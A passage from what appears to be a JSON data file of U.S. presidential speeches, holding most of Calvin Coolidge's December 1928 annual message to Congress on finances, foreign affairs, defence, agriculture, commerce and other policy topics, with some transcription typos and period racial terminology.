advance in\nan orderly, sound and common-sense way. It does not propose to abandon the\ntheory of the Declaration that the people have inalienable rights which no\nmajority and no power of government can destroy. It does not propose to\nabandon the practice of the Constitution that provides for the protection\nof these rights. It believes that within these limitations, which are\nimposed not by the fiat of man but by the law of the Creator,\nself-government is just and wise. It is convinced that it will be\nimpossible for the people to provide their own government unless they\ncontinue to own their own property.These are the very foundations of America. On them has been erected a\nGovernment of freedom and equality, of justice and mercy, of education and\ncharity. Living under it and supporting it the people have come into great\npossessions on the material and spiritual sides of life. I want to continue\nin this direction. I know that the Congress shares with me that desire. I\nwant our institutions to be more and more expressive of these principles. I\nwant the people of all the earth to see in the American flag the symbol of\na Government which intends no oppression at home and no aggression abroad,\nwhich in the spirit of a common brotherhood provides assistance in time of\ndistress.", 
+    "name": "Calvin Coolidge"
+}
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+{
+    "date": "December 4, 1928", 
+    "speech": "To the Congress of the United States:No Congress of the United States ever assembled, on surveying the state of\nthe Union, has met with a more pleasing prospect than that which appears at\nthe present time. In the domestic field there is tranquility and\ncontentment, harmonious relations between management and wage earner,\nfreedom from industrial strife, and the highest record of years of\nprosperity. In the foreign field there is peace, the good will which comes\nfrom mutual understanding, and the knowledge that the problems which a\nshort time ago appeared so ominous are yielding to the touch of manifest\nfriendship. The great wealth created by our enterprise and industry, and\nsaved by our economy, has had the widest distribution among our own people,\nand has gone out in a steady stream to serve the charity and the business\nof the world. The requirements of existence have passed beyond the standard\nof necessity into the region of luxury. Enlarging production is consumed by\nan increasing demand at home and an expanding commerce abroad. The country\ncan regard the present with satisfaction and anticipate the future with\noptimism.The main source of these unexampled blessings lies in the integrity and\ncharacter of the American people. They have had great faith, which they\nhave supplemented with mighty works. They have been able to put trust in\neach other and trust in their Government. Their candor in dealing with\nforeign governments has commanded respect and confidence. Yet these\nremarkable powers would have been exerted almost in vain without the\nconstant cooperation and careful administration of the Federal Government.We have been coming into a period which may be fairly characterized as a\nconservation of our national resources. Wastefulness in public business and\nprivate enterprise has been displaced by constructive economy. This has\nbeen accomplished by bringing our domestic and foreign relations more and\nmore under a reign of law. A rule of force has been giving way to a rule of\nreason. We have substituted for the vicious circle of increasing\nexpenditures, increasing tax rates, and diminishing profits the charmed\ncircle of diminishing expenditures, diminishing tax rates, and increasing\nprofits.Four times we have made a drastic revision of our internal revenue system,\nabolishing many taxes and substantially reducing almost all others. Each\ntime the resulting stimulation to business has so increased taxable incomes\nand profits that a surplus has been reduced. One-third of the national\ndebt has been paid, while much of the other two-thirds has been refunded at\nlower rates, and these savings of interest and constant economies have\nenabled us to repeat the satisfying process of more tax reductions. Under\nthis sound and healthful encouragement the national income has increased\nnearly 50 per cent, until it is estimated to stand well over\n$90,000,000,000. It gas been a method which has performed the seeming\nmiracle of leaving a much greater percentage of earnings in the hands of\nthe taxpayers with scarcely any diminution of the Government revenue. That\nis constructive economy in the highest degree. It is the corner stone of\nprosperity. It should not fail to be continued.This action began by the application of economy to public expenditure. If\nit is to be permanent, it must be made so by the repeated application of\neconomy. There is no surplus on which to base further tax revision at this\ntime. Last June the estimates showed a threatened deficit for the current\nfiscal year of $94,000,000. Under my direction the departments began saving\nall they could out of their present appropriations. The last tax reduction\nbrought an encouraging improvement in business, beginning early in\nOctober, which will also increase our revenue. The combination of economy\nand good times now indicates a surplus of about $37,000,000. This is a\nmargin of less than I percent on out, expenditures and makes it obvious\nthat the Treasury is in no condition to undertake increases in expenditures\nto be made before June 30. It is necessary therefore during the present\nsession to refrain from new appropriations for immediate outlay, or if such\nare absolutely required to provide for them by new revenue; otherwise, we\nshall reach the end of the year with the unthinkable result of an unbalanced\nbudget. For the first time during my term of office we face that\ncontingency. I am certain that the Congress would not pass and I should not\nfeel warranted in approving legislation which would involve us in that\nfinancial disgrace.On the whole the finances of the Government are most satisfactory. Last\nyear the national debt was reduced about $906,000,000. The refunding and\nretirement of the second and third Liberty loans have just been brought to\na successful conclusion, which will save about $75,000,000 a year in\ninterest. The unpaid balance has been arranged in maturities convenient\nfor carrying out our permanent debt-paying Program.The enormous savings made have not been at the expense of any legitimate\npublic need. The Government plant has been kept up and many improvements\nare tinder way, while its service is fully manned and the general\nefficiency of operation has increased. We have been enabled to undertake\nmany new enterprises. Among these are the adjusted compensation of the\nveterans of the World War, which is costing us $112,000,000 a year;\namortizing our liability to the civil service retirement funds,\n$20,000,000; increase of expenditures for rivers and harbors including\nflood control, $43,000,000; public buildings, $47,000,000. In 1928 we spent\n$50,000,000 in the adjustment of war claims and alien property. These are\nexamples of a large list of items.FOREIGN RELATIONSWhen we turn from our domestic affairs to our foreign relations, we\nlikewise perceive peace and progress. The Sixth International Conference of\nAmerican States was held at Habana last winter. It contributed to a better\nunderstanding and cooperation among the nations'. Eleven important\nconventions were signed and 71 resolutions passed. Pursuant to the plan\nthen adopted, this Government has invited the other 20 nations of this\nhemisphere to it conference on conciliation and arbitration, which meets in\nWashington on December 10. All the nations have accepted and the\nexpectation is justified that important progress will be made in methods\nfor resolving international differences by means of arbitration.During the year we have signed 11 new arbitration treaties, and 22 more are\ntinder negotiation.NICARAGUAWhen a destructive and bloody revolution lately broke out in Nicaragua, at\nthe earnest and repeated entreaties of its Government I dispatched our\nMarine forces there to protect the lives and interests of our citizens. To\ncompose the contending parties, I sent there Col. Henry L. Stimson, former\nSecretary of War and now Governor General of the Philippine Islands, who\nsecured an agreement that warfare should cease, a national election should\nbe held and peace should be restored. Both parties conscientiously carried\nout this agreement, with the exception of a few bandits who later mostly\nsurrendered or left the country. President Diaz appointed Brig. Gen. Frank\nR. McCoy, United States Army, president of the election board, which\nincluded also one member of each political party.A free and fair election has been held and has worked out so successfully\nthat both parties have joined in requesting like cooperation from this\ncountry at the election four years hence, to which I have refrained from\nmaking any commitments, although our country must be gratified at such an\nexhibition of success and appreciation.Nicaragua is regaining its prosperity and has taken a long step in the\ndirection of peaceful self-government.TACNA-ARICAThe long-standing differences between Chile and Peru have been sufficiently\ncomposed so that diplomatic relations have been resumed by the exchange of\nambassadors. Negotiations are hopefully proceeding as this is written for\nthe final adjustment of the differences over their disputed territory.MEXICOOur relations with Mexico are on a more satisfactory basis than at any time\nsince their revolution. Many misunderstandings have been resolved and the\nmost frank and friendly negotiations promise a final adjustment of all\nunsettled questions. It is exceedingly gratifying that Ambassador Morrow\nhas been able to bring our two neighboring countries, which have so many\ninterests in common, to a position of confidence in each other and of\nrespect for mutual sovereign rights.CHINAThe situation in China which a few months ago was so threatening as to call\nfor the dispatch of a large additional force has, been much composed. The\nNationalist Government has established itself over the country and\npromulgated a new organic law announcing a program intended to promote the\npolitical and economic welfare of the people. We have recognized this\nGovernment, encouraged its progress, and have negotiated a treaty\nrestoring to China complete tariff autonomy and guaranteeing our citizens\nagainst discriminations. Our trade in that quarter is increasing and our\nforces are being reduced.GREEK AND AUSTRIAN DEBTSPending before the Congress is a recommendation for the settlement of the\nGreek debt and the Austrian debt. Both of these are comparatively small and\nour country can afford to be generous. The rehabilitation of these\ncountries awaits their settlement. There would also be advantages to our\ntrade. We could scarcely afford to be the only nation that refuses the\nrelief which Austria seeks. The Congress has already granted Austria a\nlong-time moratorium, which it is understood will be waived and immediate\npayments begun on her debt on the same basis which we have extended to\nother countries.PEACE TREATYOne of the most important treaties ever laid before the Senate of the\nUnited States will be that which the 15 nations recently signed at Paris,\nand to which 44 other nations have declared their intention to adhere,\nrenouncing war as a national policy and agreeing to resort only to peaceful\nmeans for the adjustment of international differences. It is the most\nsolemn declaration against war, the most positive adherence to peace, that\nit is possible for sovereign nations to make. It does not supersede our\ninalienable sovereign right and duty of national defense or undertake to\ncommit us before the event to any mode of action which the Congress might\ndecide to be wise if ever the treaty should be broken. But it is a new\nstandard in the world around which can rally the informed and enlightened\nopinion of nations to prevent their governments from being forced into\nhostile action by the temporary outbreak of international animosities. The\nobservance of this covenant, so simple and so straightforward, promises more\nfor the peace of the world than any other agreement ever negotiated among\nthe nations.NATIONAL DEFENSEThe first duty of our Government to its own citizens and foreigners within\nits borders is the preservation of order. Unless and until that duty is met\na government is not even eligible for recognition among the family of\nnations. The advancement of world civilization likewise is dependent upon\nthat order among the people of different countries which we term peace. To\ninsure our citizens against the infringement of their legal rights at home\nand abroad, to preserve order, liberty, and peace by making the law\nsupreme, we have an Army and a Navy.Both of these are organized for defensive purposes. Our Army could not be\nmuch reduced, but does not need to be increased. Such new housing and\nrepairs as are necessary are tinder way and the 6-year program in aviation\nis being put into effect in both branches of our service.Our Navy, according to generally accepted standards, is deficient in\ncruisers. We have 10 comparatively new vessels, 22 that are old, and 8 to\nbe built. It is evident that renewals and replacements must be provided.\nThis matter was thoroughly canvassed at the last session of the Congress\nand does not need restatement. The bill before the Senate with the\nelimination of the time clause should be passed. We have no intention of\ncompeting with any other country. This building program is for necessary\nreplacements and to meet our needs for defense.The cost of national defense is stupendous. It has increased $118,000,000\nin the past four years. The estimated expenditure for 1930 is $668,000,000.\nWhile this is made up of many items it is, after all, mostly dependent upon\nnumbers. Our defensive needs do not can for any increase in the number of\nmen in the Army or the Navy. We have reached the limit of what we ought to\nexpend for that purpose.I wish to repeat again for the benefit of the timid and the suspicious that\nthis country is neither militaristic nor imperialistic. Many people at home\nand abroad, who constantly make this charge, are the same ones who are even\nmore solicitous to have us extend assistance to foreign countries. When\nsuch assistance is granted, the inevitable result is that we have foreign\ninterests. For us to refuse the customary support and protection of such\ninterests would be in derogation of the sovereignty of this Nation. Our\nlargest foreign interests are in the British Empire, France, and Italy.\nBecause we are constantly solicitous for those interests, I doubt if anyone\nwould suppose that those countries feel we harbor toward them any\nmilitaristic or imperialistic design. As for smaller countries, we\ncertainly do not want any of them. We are more anxious than they are to have\ntheir sovereignty respected. Our entire influence is in behalf of their\nindependence. Cuba stands as a witness to our adherence to this principle.The position of this Government relative to the limitation of armaments,\nthe results already secured, and the developments up to the present time\nare so well known to the Congress that they do not require any restatement.VETERANSThe magnitude of our present system of veterans' relief is without\nprecedent, and the results have been far-reaching. For years a service\npension has been granted to the Grand Army and lately to the survivors of\nthe Spanish-American War. At the time we entered the World War however,\nCongress departed from the usual pension system followed by our\nGovernment. Eleven years have elapsed since our laws were first enacted,\ninitiating a system of compensation, rehabilitation, hospitalization, and\ninsurance for the disabled of the World War and their dependents. The\nadministration of all the laws concerning relief has been a difficult\ntask, but it can safely be stated that these measures have omitted nothing\nin their desire to deal generously and humanely. We should continue to\nfoster this system and provide all the facilities necessary for adequate\ncare. It is the conception of our Government that the pension roll is an\nhonor roll. It should include all those who are justly entitled to its\nbenefits, but exclude all others.Annual expenditures for all forms of veterans' relief now approximate\n$765,000,000, and are increasing from year to year. It is doubtful if the\npeak of expenditures will be reached even under present legislation for\nsonic time yet to come. Further amendments to the existing law will be\nsuggested by the American Legion, the Veterans of Foreign Wars of the\nUnited States, the Disabled American Veterans of the World War, and other\nlike organizations, and it may be necessary for administrative purposes, or\nin order to remove some existing inequalities in the present law, to make\nfurther changes. I am sure that such recommendations its may be submitted\nto the Congress will receive your careful consideration. But because of the\nvast expenditure now being made, each year, with every assurance that it\nwill increase, and because of the great liberality of the existing law, the\nproposal of any additional legislation dealing with this subject should\nreceive most searching scrutiny from the Congress.You are familiar with the suggestion that the various public agencies now\ndealing with matters of veterans' relief be consolidated in one Government\ndepartment. Some advantages to this plan seem apparent, especially in the\nsimplification of administration find in the opportunity of bringing about\na greater uniformity in the application of veterans' relief. I recommend\nthat a survey be made by the proper committees of Congress dealing with\nthis subject, in order to determine whether legislation to secure this\nconsolidation is desirable.AGRICULTUREThe past year has been marked by notable though not uniform improvement in\nagriculture. The general purchasing power of farm products and the volume\nof production have advanced. This means not only further progress, in\novercoming the price disparity into which agriculture was plunged in\n1920-21, but also increased efficiency on the part of farmers and a\nwell-grounded confidence in the future of agriculture.The livestock industry has attained the best balance for many years and is\nprospering conspicuously. Dairymen, beef producers, and poultrymen are\nreceiving substantially larger returns than last year. Cotton, although\nlower in price than at this time last year, was produced in greater volume\nand the prospect for cotton incomes is favorable. But progress is never\nuniform in a vast and highly diversified agriculture or industry. Cash\ngrains, hay, tobacco, and potatoes will bring somewhat smaller returns this\nyear than last. Present indications are, however, that the gross farm\nincome will be somewhat larger than in the crop year 1927-28, when the\ntotal was $12,253,000,000. The corresponding figure for 1926-27 was\n$12,127,000,000, and in 1925-26, $12,670,000,000. Still better results\nwould have been secured this year had there not been an undue increase in\nthe production of certain crops. This is particularly true of potatoes,\nwhich have sold at an unremunerative price, or at a loss, as a direct\nresult of overexpansion of acreage.The present status of agriculture, although greatly improved over that of a\nfew years ago, bespeaks the need of further improvement which calls for\ndetermined effort of farmers themselves, encouraged and assisted by wise\npublic policy. The Government has been, and must continue to be, alive to\nthe needs of agriculture.In the past eight years more constructive legislation of direct benefit to\nagriculture has been adopted than during any other period. The Department\nof Agriculture has been broadened and reorganized to insure greater\nefficiency. The department is laying greater stress on the economic and\nbusiness phases of agriculture. It is lending every possible assistance to\ncooperative marketing associations. Regulatory and research work have been\nsegregated in order that each field may be served more effectively.I can not too strongly commend, in the field of fact finding, the research\nwork of the Department of Agriculture and the State experiment stations.\nThe department now receives annually $4,000,000 more for research than in\n1921. In addition, the funds paid to the States for experimentation\npurposes under the Purnell Act constitute an annual increase in Federal\npayments to State agricultural experiment stations of $2,400,000 over the\namount appropriated in 1921. The program of support for research may wisely\nbe continued and expanded. Since 1921 we have appropriated nearly an\nadditional $2,000,000 for extension work, and this sum is to be increased\nnext year under authorization by the Capper-Ketcham Act.THE SURPLUS PROBLEMWhile these developments in fundamental research, regulation, and\ndissemination of agricultural information are of distinct help to\nagriculture, additional effort is needed. The surplus problem demands\nattention. As emphasized in my last message, the Government should assume\nno responsibility in normal times for crop surplus clearly due to\noverextended acreage. The Government should, however, provide reliable\ninformation as a guide to private effort; and in this connection fundamental\nresearch on prospective supply and demand, as a guide to production and\nmarketing, should be encouraged. Expenditure of public funds to bring in\nmore new land should have most searching scrutiny, so long as our farmers\nface unsatisfactory prices for crops and livestock produced on land already\nunder cultivation.Every proper effort should be made to put land to uses for which it is\nadapted. The reforestation of land best suited for timber production is\nprogressing and should be encouraged, and to this end the forest taxation\ninquiry was instituted to afford a practical guide for public policy.\nImprovement has been made in grazing regulation in the forest reserves, not\nonly to protect the ranges, but to preserve the soil from erosion. Similar\naction is urgently needed to protect other public lands which are now\novergrazed and rapidly eroding.Temporary expedients, though sometimes capable of appeasing the demands of\nthe moment, can not permanently solve the surplus problem and might\nseriously aggravate it. Hence putting the Government directly into\nbusiness, subsidies, and price fixing, and the alluring promises of\npolitical action as a substitute for private initiative, should be\navoided.The Government should aid in promoting orderly marketing and in handling\nsurpluses clearly due to weather and seasonal conditions. As a beginning\nthere should be created a Federal farm board consisting of able and\nexperienced men empowered to advise producers' associations in establishing\ncentral agencies or stabilization corporations to handle surpluses, to seek\nwore economical means of merchandising, and to aid the producer in securing\nreturns according to the a14 of his product. A revolving loan fund should\nbe provided for the necessary financing until these agencies shall have\ndeveloped means of financing their operations through regularly constituted\ncredit institutions. Such a bill should carry authority for raising the\nmoney, by loans or otherwise, necessary to meet the expense, as the\nTreasury has no surplus.Agriculture has lagged behind industry in achieving that unity of effort\nwhich modern economic life demands. The cooperative movement, which is\ngradually building the needed organization, is in harmony with public\ninterest and therefore merits public encouragement.THE RESPONSIBILITY OF THE STATESImportant phases of public policy related to agriculture lie within the\nsphere of the States. While successive reductions in Federal taxes have\nrelieved most farmers of direct taxes to the National Government, State and\nlocal levies have become a serious burden. This problem needs immediate and\nthorough study with a view to correction at the earliest possible moment.\nIt will have to be made largely by the States themselves.COMMERCEIt is desirable that the Government continue its helpful attitude toward\nAmerican business. The activities of the Department of Commerce have\ncontributed largely to the present satisfactory position\nin our international trade, which has reached about $9,000,000,000\nannually. There should be no slackening of effort in that direction. It is\nalso important that the department's assistance to domestic commerce be\ncontinued. There is probably no way in which the Government can aid sound\neconomic progress more effectively than by cooperation with our business\nmen to reduce wastes in distribution.COMMERCIAL AERONAUTICSContinued progress in civil aviation is most gratifying. Demands for\nairplanes and motors have taxed both the industry and the licensing and\ninspection service of the Department of Commerce to their capacity. While\nthe compulsory licensing provisions of the air commerce act apply only to\nequipment and personnel engaged in interstate and foreign commerce, a\nFederal license may be procured by anyone possessing the necessary\nqualifications. State legislation, local airport regulations, and insurance\nrequirements make such a license practically indispensable. This results in\nuniformity of regulation and increased safety in operation, which are\nessential to aeronautical development. Over 17,000 young men and women have\nnow applied for Federal air pilot's licenses or permits. More than 80 per\ncent of them applied during the past year.Our national airway system exceeds 14,000 miles in length and has 7,500\nmiles lighted for night operations. Provision has been made for lighting\n4,000 miles more during the current fiscal year and equipping an equal\nmileage with radio facilities. Three-quarters of our people are now served\nby these routes. With the rapid growth of air mail, express, and passenger\nservice, this new transportation medium is daily becoming a more important\nfactor in commerce. It is noteworthy that this development has taken place\nwithout governmental subsidies. Commercial passenger flights operating on\nschedule have reached 13,000 miles per day.During the next fortnight this Nation will entertain the nations of the\nworld in a celebration of the twenty-fifth anniversary of the first\nsuccessful airplane flight. The credit for this epoch-making achievement\nbelongs to a citizen of our own country, Orville Wright.CUBAN PARCEL POSTI desire to repeat my recommendation of an earlier message, that Congress\nenact the legislation necessary to make permanent the Parcel Post\nConvention with Cuba, both as a facility to American commerce and as a\nmeasure of equity to Cuba in the one class of goods which that country can\nsend here by parcel post without detriment to our own trade.\"MAINE\" BATTLESHIP MEMORIALWhen I attended the Pan American Conference at Habana, the President of\nCuba showed me a marble statue made from the original memorial that was\noverturned by a storm after it was erected on the Cuban shore to the memory\nof the men who perished in the destruction of the battleship Maine. As a\ntestimony of friendship and appreciation of the Cuban Government and people\nhe most generously offered to present this to the United States, and I\nassured him of my pleasure in accepting it. There is no location in the\nWhite House for placing so large and heavy a structure, and I therefore\nurge the Congress to provide by law for some locality where it can be\nset up.RAILROADSIn previous annual messages I have suggested the enactment of laws to\npromote railroad consolidation with the view of increasing the efficiency\nof transportation and lessening its cost to the public. While,\nconsolidations can and should be made under the present law until it is\nchanged, vet the provisions of the act of 1920 have not been found fully\nadequate to meet the needs of other methods of consolidation. Amendments\ndesigned to remedy these defects have been considered at length by the\nrespective committees of Congress and a bill was reported out late in the\nlast session which I understand has the approval in principle of the\nInterstate Commerce Commission. It is to be hoped that this legislation may\nbe enacted at an early date.Experience has shown that the interstate commerce law requires definition\nand clarification in several other respects, some of which have been\npointed out by the Interstate Commerce Commission in its annual reports to\nthe Congress. It will promote the public interest to have the Congress give\nearly consideration to the recommendations there made.MERCHANT MARINEThe cost of maintaining the United States Government merchant fleet has\nbeen steadily reduced. We have established American flag lines in foreign\ntrade where they had never before existed as a means of promoting commerce\nand as a naval auxiliary. There have been sold to private American capital\nfor operation within the past few years 14 of these lines, which, under the\nencouragement of the recent legislation passed by the Congress, give\npromise of continued successful operation. Additional legislation from time\nto time may be necessary to promote future advancement under private\ncontrol.Through the cooperation of the Post Office Department and the Shipping\nBoard long-term contracts are being made with American steamship lines for\ncarrying mail, which already promise the construction of 15 to 20 new\nvessels and the gradual reestablishment of the American merchant marine as\na private enterprise. No action of the National Government has been so\nbeneficial to our shipping. The cost is being absorbed to a considerable\nextent by the disposal of unprofitable lines operated by the Shipping\nBoard, for which the new law has made a market. Meanwhile it should be our\npolicy to maintain necessary strategic lines under the Government operation\nuntil they can be transferred to private capital.INTER-AMERICAN HIGHWAYIn my message last year I expressed the view that we should lend our\nencouragement for more good roads to all the principal points on this\nhemisphere South of the Rio Grande. My view has not changed.The Pan American Union has recently indorsed it. In some of the countries\nto the south a great deal of progress is being made in road building. In,\nOthers engineering features are often exacting and financing difficult. As\nthose countries enter upon programs for road building we should be ready to\ncontribute from our abundant experience to make their task easier of\naccomplishment. I prefer not to go into civil life to accomplish this end.\nWe already furnish military and naval advisors, and following this\nprecedent we could draw competent men from these same sources and from the\nDepartment of Agriculture.We should provide our southern neighbors, if they request it, with such\nengineer advisors for the construction of roads and bridges. Private\ninterests should look with favor upon all reasonable loans sought by\nthese countries to open main lines of travel. Such assistance should be\ngiven especially to any project for a highway designed to connect all the\ncountries on this hemisphere and thus facilitate, intercourse and closer\nrelations among, them.AIR MAIL SERVICEThe friendly relations and the extensive, commercial intercourse with the\nWestern Hemisphere to the south of us are being further cemented by the\nestablishment and extension of air-mail routes. We shall soon have one from\nKey West, Fla., over Cuba, Haiti, and Santo Domingo to San Juan, P. R.,\nwhere it will connect with another route to Trinidad. There will be another\nroute from Key West to the Canal Zone, where connection will be made with a\nroute across the northern coast of South America to Paramaribo. This will\ngive us a circle around the Caribbean under our own control. Additional\nconnections will be made at Colon with a route running down the west coast\nof South America as far as Conception, Chile, and with the French air mail\nat Paramaribo running down the eastern coast of South America. The air\nservice already spans our continent, with laterals running to Mexico and\nCanada, and covering a daily flight of over 28,000 miles, with an average\ncargo of 15 000 pounds.WATERWAYSOur river and harbor improvements are proceeding with vigor. In the past\nfew years Ave have increased the appropriation for this regular work\n$28,000,000, besides what is to be expended on flood control. The total\nappropriation for this year was over $91,000,000. The Ohio River is almost\nready for opening; work on the Missouri and other rivers is under way. In\naccordance with the Mississippi flood law Army engineers are making\ninvestigations and surveys on other streams throughout the country with a\nview to flood control, navigation, waterpower, and irrigation. Our barrier\nlines are being operated under generous appropriations, and negotiations\nare developing relative to the St. Lawrence waterway. To Secure the largest\nbenefits from all these waterways joint rates must be established with the\nrailroads, preferably by agreement, but otherwise as a result of\ncongressional action.We have recently passed several river and harbor bills. The work ordered by\nthe Congress not, yet completed, will cost about $243,000,000, besides the hundreds of millions to be spent on the Mississippi\nflood way. Until we can see our way out of this expense no further river\nand harbor legislation should be passed, as expenditures to put it into\neffect would be four or five years away.IRRIGATION OF ARID LANDSFor many years the Federal Government has been committed to the wise policy\nof reclamation and irrigation. While it has met with some failures due to\nunwise selection of projects and lack of thorough soil surveys, so that\nthey could not be placed on a sound business basis, on the whole the\nservice has been of such incalculable benefit in so many States that no one\nwould advocate its abandonment. The program to which we are already\ncommitted, providing for the construction of new projects authorized by\nCongress and the completion of old projects, will tax the resources of the\nreclamation fund over a period of years. The high cost of improving and\nequipping farms adds to the difficulty of securing settlers for vacant\nfarms on federal projects.Readjustments authorized by the reclamation relief act of May 25, 1926,\nhave given more favorable terms of repayment to settlers. These new\nfinancial arrangements and the general prosperity on irrigation projects\nhave resulted in increased collections by the Department of the Interior of\ncharges due the reclamation fund. Nevertheless, the demand for still\nsmaller yearly payments on some projects continues. These conditions should\nhave consideration in connection with any proposed new projects.COLORADO RIVERFor several years the Congress has considered the erection of a dam on the\nColorado River for flood-control, irrigation, and domestic water purposes,\nall of which ma properly be considered as Government functions. There would\nbe an incidental creation of water power which could be used for generating\nelectricity. As private enterprise can very well fill this field, there is\nno need for the Government to go into it. It is unfortunate that the States\ninterested in this water have been unable to agree among themselves.\nNevertheless, any legislation should give every possible safeguard to the\npresent and prospective rights of each of them.The Congress will have before it, the detailed report of a special board\nappointed to consider the engineering and economic feasibility of this\nproject. From the short summary which I have seen of it, 11 judge they\nconsider the engineering problems can be met at somewhat increased cost\nover previous estimates. They prefer the Black Canyon site. On the economic\nfeatures they are not so clear and appear to base their conclusions on many\nconditions which can not be established with certainty. So far as I can\njudge, however, from the summary, their conclusions appear sufficiently\nfavorable, so that I feel warranted in recommending a measure which will\nprotect the rights of the States, discharge the necessary Government\nfunctions, and leave the electrical field to private enterprise.MUSCLE SHOALSThe development of other methods of producing nitrates will probably render\nthis plant less important for that purpose than formerly. But we have it,\nand I am told it still provides a practical method of making nitrates for\nnational defense and farm fertilizers. By dividing the property into its\ntwo component parts of power and nitrate plants it would be possible to\ndispose of the power, reserving the right to any concern that wished to\nmake nitrates to use any power that might be needed for that purpose. Such\na disposition of the power plant can be made that will return in rental\nabout $2,000,000 per year. If the Congress would giant the Secretary of War\nauthority to lease the nitrate plant on such terms as would insure the\nlargest production of nitrates, the entire property could begin to\nfunction. Such a division, I am aware, has never seemed to appeal to the\nCongress. I should also gladly approve a bill granting authority to lease\nthe entire property for the production of nitrates.I wish to avoid building another dam at public expense. Future operators\nshould provide for that themselves. But if they were to be required to\nrepay the cost of such dam with the prevailing commercial rates for\ninterest, this difficulty will be considerably lessened. Nor do I think\nthis property should be made a vehicle for putting the United States\nGovernment indiscriminately into the private and retail field of power\ndistribution and nitrate sales.CONSERVATIONThe practical application of economy to the resources of the country calls\nfor conservation. This does not mean that every resource should not be\ndeveloped to its full degree, but it means that none of them should be\nwasted. We have a conservation board working on our oil problem. This is of\nthe utmost importance to the future well-being of our people in this age of\noil-burning engines and the general application of gasoline to\ntransportation. The Secretary of the Interior should not be compelled to\nlease oil lands of the Osage Indians when the market is depressed and the\nfuture supply is in jeopardy.While the area of lands remaining in public ownership is small, compared\nwith the vast area in private ownership, the natural resources of those in\npublic ownership are of immense present and future value. This is\nparticularly trite as to minerals and water power. The proper bureaus have\nbeen classifying these resources to the end that they may be conserved.\nAppropriate estimates are being submitted, in the Budget, for the further\nprosecution of this important work.IMMIGRATIONThe policy of restrictive immigration should be maintained. Authority\nshould be granted the Secretary of Labor to give immediate preference to\nlearned professions and experts essential to new industries. The reuniting\nof families should be expedited. Our immigration and naturalization laws\nmight well be codified.WAGE EARNERIn its economic life our country has rejected the long accepted law of a\nlimitation of the wage fund, which led to pessimism and despair because it\nwas the doctrine of perpetual poverty, and has substituted for it the\nAmerican conception that the only limit to profits and wages is production,\nwhich is the doctrine of optimism and hope because it leads to prosperity.\nHere and there the councils of labor are still darkened by the theory that\nonly by limiting individual production can there be any assurance of\npermanent employment for increasing numbers, but in general, management and\nwage earner alike have become emancipated from this doom and have entered a\nnew era in industrial thought which has unleashed the productive capacity\nof the individual worker with an increasing scale of wages and profits, the\nend of which is not yet. The application of this theory accounts for our\nwidening distribution of wealth. No discovery ever did more to increase the\nhappiness and prosperity of the people.Since 1922 increasing production has increased wages in general 12.9 per\ncent, while in certain selected trades they have run as high as 34.9 per\ncent and 38 per cent. Even in the boot and shoe shops the increase is over\n5 per cent and in woolen mills 8.4 per cent, although these industries have\nnot prospered like others. As the rise in living costs in this period is\nnegligible, these figures represent real wage increases.The cause of constructive economy requires that the Government should\ncooperate with private interests to eliminate the waste arising from\nindustrial accidents. This item, with all that has been done to reduce it,\nstill reaches enormous proportions with great suffering to the workman and\ngreat loss to the country.WOMEN AND CHILDRENThe Federal Government should continue its solicitous care for the\n8,500,000 women wage earners and its efforts in behalf of public health,\nwhich is reducing infant mortality and improving the bodily and mental\ncondition of our citizens.CIVIL SERVICEThe most marked change made in the civil service of the Government in the\npast eight years relates to the increase in salaries. The Board of\nActuaries on the retirement act shows by its report, that July 1, 1921 the\naverage salary of the 330,047 employees subject to the act was $1,307,\nwhile on June 30, 1927, the average salary of the corresponding 405,263\nwas $1,969. This was an increase in six years of nearly 53 per cent. On top\nof this was the generous increase made at the last session of the Congress\ngenerally applicable to Federal employees and another bill increasing the\npay in certain branches of the Postal Service beyond the large increase\nwhich was made three years ago. This raised the average level from $1,969\nto $2,092, making an increase in seven years of over 63 per cent. While it\nis well known that in the upper brackets the pay in the Federal\nservice is much smaller than in private employment, in the lower brackets,\nranging well up over $3,000, it is much higher. It is higher not only in\nactual money paid, but in privileges granted, a vacation of 30 actual\nworking days, or 5 weeks each year, with additional time running in some\ndepartments as high as 30 days for sick leave and the generous provisions\nof the retirement act. No other body of public servants ever occupied such\na fortunate position.EDUCATIONThrough the Bureau of Education of the Department of the Interior the\nFederal Government, acting in an informative and advisory capacity, has\nrendered valuable service. While this province belongs peculiarly to the\nStates, yet the promotion of education and efficiency in educational\nmethods is a general responsibility of the Federal Government. A survey of\nnegro colleges and universities in the United States has just been\ncompleted by the Bureau of Education through funds provided by the\ninstitutions themselves and through private sources. The present status of\nnegro higher education was determined and recommendations were made for its\nadvancement. This was one of the numerous cooperative undertakings of the\nbureau. Following the invitation of the Association of Land Grant Colleges\nand Universities, he Bureau of Education now has under way the survey of\nagricultural colleges, authorized by Congress. The purpose of the survey is\nto ascertain the accomplishments, the status, and the future objectives of\nthis type of educational training. It is now proposed to undertake a survey\nof secondary schools, which educators insist is timely and essential.PUBLIC BUILDINGSWe, have laid out a public building program for the District of Columbia\nand the country at large running into hundreds of millions of dollars.\nThree important structures and one annex are already, under way and one\naddition has been completed in the City of Washington. in the country sites\nhave been acquired, many buildings are in course of construction, and some\nare already completed. Plans for all this work are being prepared in order\nthat it may be carried forward as rapidly as possible. This is the greatest\nbuilding program ever assumed by this Nation. It contemplates structures of\nutility and of beauty. When it reaches completion the people will be well\nserved and the Federal city will be supplied with the most beautiful and\nstately public buildings which adorn any capital in the world.THE AMERICAN INDIANThe administration of Indian affairs has been receiving intensive study for\nseveral years. The Department of the Interior has been able to provide\nbetter supervision of health, education, and industrial advancement of this\nnative race through additional funds provided by the Congress. The present\ncooperative arrangement existing between the Bureau of Indian Affairs and\nthe Public Health Service should be extended. The Government's\nresponsibility to the American Indian has been acknowledged by annual\nincreases in appropriations to fulfill its obligations to them and to\nhasten the time when Federal supervision of their affairs may be properly\nand safely terminated. The movement in Congress and in some of the State\nlegislatures for extending responsibility in Indian affairs to States\nshould be encouraged. A complete participation by the Indian in our\neconomic life is the end to be desired.THE NEGROFor 65 years now our negro Population has been under the peculiar care and\nsolicitude of the National Government. The progress which they have made in\neducation and the professions, in wealth and in the arts of civilization,\naffords one of the most remarkable incidents in this period of world\nhistory. They have demonstrated their ability to partake of the advantages\nof our institutions and to benefit by a free and more and more independent\nexistence. Whatever doubt there may have been of their capacity to assume,\nthe status granted to them by the Constitution of this Union is being\nrapidly dissipated. Their cooperation in the life of the Nation is\nconstantly enlarging.Exploiting the Negro problem for political ends is being abandoned and\ntheir protection is being increased by those States in which their\npercentage of population is largest. Every encouragement should be extended\nfor t le development of the race. The colored people have been the victims\nof the 